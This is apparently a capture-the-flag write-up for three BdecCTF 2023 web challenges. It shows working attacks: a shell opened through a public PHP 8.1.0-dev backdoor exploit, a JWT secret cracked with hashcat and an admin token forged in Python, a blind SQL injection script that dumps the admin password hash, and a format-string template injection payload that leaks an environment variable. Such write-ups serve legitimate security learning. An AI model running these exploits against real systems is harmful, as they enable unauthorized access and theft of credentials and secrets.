BdecCTF 2023 - webx3

2 minute read

Can you see me?

Description:

The description says quite a bit about php, so I focused on testing php but didn’t get much results. I noticed that the web application using PHP/8.1.0-dev has a public exploit code.

Here is the PoC: PHP 8.1.0-dev - ‘User-Agentt’ Remote Code Execution

Solution:

┌──(taiwhis㉿kali)-[~/Downloads]
└─$ python 1.py
Enter the full host url:
http://139.144.184.115:8989/

Interactive shell is opened on http://139.144.184.115:8989/ 
Can't acces tty; job crontol turned off.
$ ls
index.php

$ ls /root
flag.txt

$ cat /root/flag.txt
BDSEC{php_15_7h3_b357_pr06r4mm1n6_l4n6u463}

What is 5 minus 4?

Description:

Solution: Try crack JWT to find secret

Cookie: access_token_cookie=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY5MDIwMDYwNywianRpIjoiM2JjMzE5MDQtMmZlMy00MjAwLThmNzEtYTQyNmEyYjA5OTMyIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6OTY0MiwibmJmIjoxNjkwMjAwNjA3LCJleHAiOjE2OTAyMDE1MDd9.aQWBkU0Sn0vyHzdPy86g76UU_dWe-Tw14_EQKv8NNIY

i will use hashcat.

┌──(taiwhis㉿kali)-[~/Downloads]
└─$ hashcat -h | grep 16500
  16500 | JWT (JSON Web Token)                                       | Network Protocol

Run crack jwt:

┌──(taiwhis㉿kali)-[~/Downloads]
└─$ hashcat -a 0 -m 16500 1.txt wordlist.txt                                    
hashcat (v6.2.6) starting

Secret key: this_is_a_dev_secret now i can edit the jwt to elevate the account permissions.

now i will change the jwt in the sub to 1. is’s admin account.

Jwt after it was fixed.

Cookie: access_token_cookie=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6dHJ1ZSwiaWF0IjoxNjkwMjAzOTg5LCJqdGkiOiI4OWY3YjE4MC00Yzc5LTQxZTktODdhNi1jYzIxMmQ5MjY4NzciLCJ0eXBlIjoiYWNjZXNzIiwic3ViIjoxLCJuYmYiOjE2OTAyMDM5ODksImV4cCI6MTY5MDIwNDg4OX0.EF-tYblAP56RG2bWuhuc_KyDZgvELj4058M74pW2fVc

Using the modified JWT we can get the flag.

Script:

import requests
import string
import random
import jwt

url = "http://45.56.116.251:5050/"
secret = "this_is_a_dev_secret"

def session_requests(sess, method, endpoint, data=None):
    try:
        if method == 'POST':
            response = sess.post(url + endpoint, data=data)
        else:
            response = sess.get(url + endpoint, data=data)
        response.raise_for_status()
        return response.text
    except requests.exceptions.RequestException as e:
        print(f"Have error: {e}")
        return None

with requests.Session() as session:
    username = ''.join(random.choices(string.ascii_letters + string.digits, k=3))
    session_requests(session, 'POST', 'signup', { 'username':username,'name':username,'description':'lll','password':'lll' })
    session_requests(session, 'POST', 'login', { 'username':username,'password':'lll' } )
    
    old_jwt = session.cookies.get_dict()['access_token_cookie']
    
    decode_jwt = jwt.decode(old_jwt, secret, algorithms=["HS256"])
    decode_jwt['sub'] = 1 # sub of admin
    new_jwt = jwt.encode(decode_jwt, secret, algorithm="HS256")
    
    res = requests.get(url + 'profile', headers={ 'Cookie': 'access_token_cookie=' + new_jwt }) # request with another session
    print(res.text)

Result:

┌──(taiwhis㉿kali)-[~]
└─$ python 1.py
<!DOCTYPE html>
<html>

.........
                
<div class="box">
  <h1 class="title">
    Welcome, admin
  </h1>
  <p class="content"> BDSEC{m4k3_y0ur_53cr37_k3y_57r0n63r} </p>
</div>

            </div>
        </div>
    </section>
</body>
</html>

Injection

Description:

Source code here.

I didn’t solve this challenge, so after this CTF ended I consulted from everyone in discord. There is basically a 2022 CTF that has the same idea as this challenge. Refer click ductf-sqli2022.

My script solution:

output = cur.execute(
        'SELECT * FROM users WHERE username = {data[username]!r} AND password = {data[password]!r}'
        .format(data=data)
    ).fetchone()

in the source code contains a SQL injection vulnerability. I will try to focus mining here. However, FLAG is md5 encrypted and it is very likely that getting the flag will be difficult to decrypt.

Dump password admin:

import requests
from hashlib import md5
import string

url = "http://139.144.184.115:1337/login"
session = requests.session()

password = ""

chars = string.digits + string.ascii_lowercase

for i in range(32):
    for m in chars:
        query = f'(SELECT hex(substr(password, {i+1}, 1)) FROM users WHERE username = "admin") = "{m.encode("utf-8").hex()}"'
        data = { "username" : "aaa\"'","password" : f"OR {query};-- -" }
        res = session.post(url, data)
        if 'You cant Hack Uss!!!' in res.text:
            password += m
            print("Found: ", m)

print("Password", password)

Result:

┌──(taiwhis㉿kali)-[~]
└─$ python 2.py
Password: 98371fd6630a26b9f04d623a6ea3d0af

SSTI leaked environment variable:

You can see the username after being logged in will be returned here. Therefore, it can be used to insert the SSTI payload.

return f'Yoo!! {data["username"]}!'.format(data=data)
  • To be able to display this message need:
    • SQL must return a row from the database
    • Also username and password must match the data in the database.

Solution script:
username: "\'UNION SELECT printf(char(34,92,39)||s,char(34),s,char(34)),1||1 FROM(SELECT"UNION SELECT printf(char(34,92,39)||s,char(34),s,char(34)),1||1 FROM(SELECT%c%s%cs)--{data.__class__.__copy__.__globals__[mimetypes].os.environ[FLAG]}"s)--

Flag: BDSEC{f1nj3c710n5_4r3_p41nful}

Comments